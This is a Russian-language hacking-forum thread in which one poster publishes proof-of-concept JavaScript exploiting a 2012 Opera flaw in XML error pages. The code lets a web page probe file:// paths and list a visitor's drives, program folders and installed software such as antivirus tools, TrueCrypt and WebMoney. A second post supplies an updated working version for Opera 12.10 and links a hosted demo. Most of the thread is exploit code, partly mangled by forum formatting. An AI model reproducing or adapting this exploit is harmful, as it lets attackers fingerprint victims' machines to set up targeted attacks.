HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.10.2012, 03:49
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

follow

Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html

Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.

При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.

Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

PoC (Windows, Linux; Opera

var
ifr=frames[0].document.documentElement;

var
diskArr='CDEFGHIJKLMNOPQRSTUVWXYZ';

var
diskDiv=document.createElement('div');

diskDiv.innerHTML='disks:
'
;

document.body.appendChild(diskDiv);

var
dirArr= new Array(

'program files',

'program files (x86)'

);

var
dirDiv=document.createElement('div');

dirDiv.innerHTML='
program folders:
'
;

document.body.appendChild(dirDiv);

var
progArr= new Array(

'adobe',

'akelpad',

'alcohol soft',

'avira',

'charles',

'daemon tools lite',

'drweb',

'eset',

'filezilla ftp client',

'filezilla ftp server',

'icq7.1',

'icq7.2',

'icq7.3',

'icq7.4',

'icq7.5',

'icq7.6',

'icq7.7',

'kaspersky lab',

'mcafee',

'microsoft office',

'microsoft visual studio',

'microsoft.net',

'mozilla firefox',

'nmap',

'nvidia corporation',

'notepad++',

'psi+',

'paragon software',

'qip',

'qip2010',

'qip2011',

'skype',

'teamviewer',

'total commander',

'truecrypt',

'utorrent',

'webmoney',

'winpcap',

'winrar',

'wireshark'

);

var
progDiv=document.createElement('div');

progDiv.innerHTML='
programs:
'
;

document.body.appendChild(progDiv);

function
add(name,type,img)

{

if(
img.complete)

{

switch(
type)

{

case
0:

diskDiv.innerHTML+=name+'
'
;

checkDir(name);

break



case
1:

dirDiv.innerHTML+=name+'
'
;

checkProg(name);

break;



case
2:

progDiv.innerHTML+=name+'
'
;

break;



case
3:

progDiv.innerHTML+=name+'
'
;

}

}

else if(
type==3)

{

checkDisk();

}

}

function
checkProg(dir)

{

for(var
j in progArr)

ifr.innerHTML="";

}

function
checkDir(disk)

{

for(var
j in dirArr)

ifr.innerHTML="";

}

function
checkDisk()

{

for(var
i in diskArr)

ifr.innerHTML="";

}

(function()

{

ifr.innerHTML="";

})()





[/COLOR]
[/PHP]

тема на rdot.org
 
Ответить с цитированием

  #2  
Старый 09.11.2012, 17:30
M_script
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами: 11322426

Репутация: 0
По умолчанию

6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.

Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.

PoC (Windows; Opera 12.10)

http://mscript.biz/opera_localfiles2.html

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

var[/
COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]frames[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]documentElement[/COLOR][COLOR="#007700"];

var[/
COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'CDEFGHIJKLMNOPQRSTUVWXYZ'[/COLOR][COLOR="#007700"];

var[/
COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'disks:
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"]);



var[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"]= new Array(

[/
COLOR][COLOR="#DD0000"]'program files'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'program files (x86)'

[/COLOR][COLOR="#007700"]);

var[/
COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
program folders:
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"]);

var[/
COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"]= new Array(

[/
COLOR][COLOR="#DD0000"]'adobe'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'akelpad'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'alcohol soft'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'avira'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'charles'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'daemon tools lite'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'drweb'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'eset'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'filezilla ftp client'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'filezilla ftp server'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.1'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.2'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.3'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.4'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.5'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.6'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'icq7.7'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'kaspersky lab'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'mcafee'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'microsoft office'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'microsoft visual studio'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'microsoft.net'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'mozilla firefox'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'nmap'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'nvidia corporation'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'notepad++'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'psi+'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'paragon software'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'qip'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'qip2010'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'qip2011'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'skype'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'teamviewer'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'total commander'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'truecrypt'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'utorrent'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'webmoney'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'winpcap'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'winrar'[/COLOR][COLOR="#007700"],

[/
COLOR][COLOR="#DD0000"]'wireshark'

[/COLOR][COLOR="#007700"]);

var[/
COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'div'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'
programs:
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]body[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]add[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"])

{

[/
COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]removeChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);

switch([/COLOR][COLOR="#0000BB"]type[/COLOR][COLOR="#007700"])

{

case[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]:

[/
COLOR][COLOR="#0000BB"]diskDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);

break



case
[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]:

[/
COLOR][COLOR="#0000BB"]dirDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]);

break;



case
[/COLOR][COLOR="#0000BB"]2[/COLOR][COLOR="#007700"]:

[/
COLOR][COLOR="#0000BB"]progDiv[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"];

break;

}

}

function[/
COLOR][COLOR="#0000BB"]checkProg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"])

{

for(var[/COLOR][COLOR="#0000BB"]i in progArr[/COLOR][COLOR="#007700"])

{

var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 2, this)'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dir[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]progArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);

}

}

function[/
COLOR][COLOR="#0000BB"]checkDir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"])

{

for(var[/COLOR][COLOR="#0000BB"]i in dirArr[/COLOR][COLOR="#007700"])

{

var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]'", 1,this)'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]disk[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]dirArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);

}

}

(function[/
COLOR][COLOR="#0000BB"]checkDisk[/COLOR][COLOR="#007700"]()

{

for(var[/COLOR][COLOR="#0000BB"]i in diskArr[/COLOR][COLOR="#007700"])

{

var[/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'script'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]onload[/COLOR][COLOR="#007700"]= new Function([/COLOR][COLOR="#DD0000"]'top.add("'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':", 0, this)'[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]src[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'file://'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]diskArr[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]] +[/COLOR][COLOR="#DD0000"]':'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]ifr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]all[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]appendChild[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scr[/COLOR][COLOR="#007700"]);

}

})()

[/
COLOR][COLOR="#0000BB"]

[/
COLOR]

[/
COLOR
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.